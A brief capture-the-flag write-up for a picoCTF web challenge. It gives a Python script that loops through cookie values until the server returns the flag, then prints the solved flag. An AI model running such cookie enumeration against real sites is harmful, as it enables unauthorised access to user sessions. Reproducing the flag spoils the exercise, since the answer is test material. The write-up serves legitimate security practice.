This problem requires you to change the cookie "name" to the value that is the flag. We choose to approach this question with a brute force script which wil try every number until the page outputs a flag.
# Import Libraries
from bs4 import BeautifulSoup
import requests
url = 'http://mercury.picoctf.net:54219/check'
# loop through every number as the value to the cookie
for i in range(18, 100):
cookies = dict(name=str(i))
response = requests.get(url, cookies=cookies)
# Check to see if the page outputted a flag
soup = BeautifulSoup(response.text, "html.parser")
if "pico" in response.text:
flag = soup.select("body > div.container > div.jumbotron > p:nth-child(2)")[0]
print(flag.get_text())
break
print("Attempt: ", i)
picoCTF{3v3ry1_l0v3s_c00k135_96cdadfd}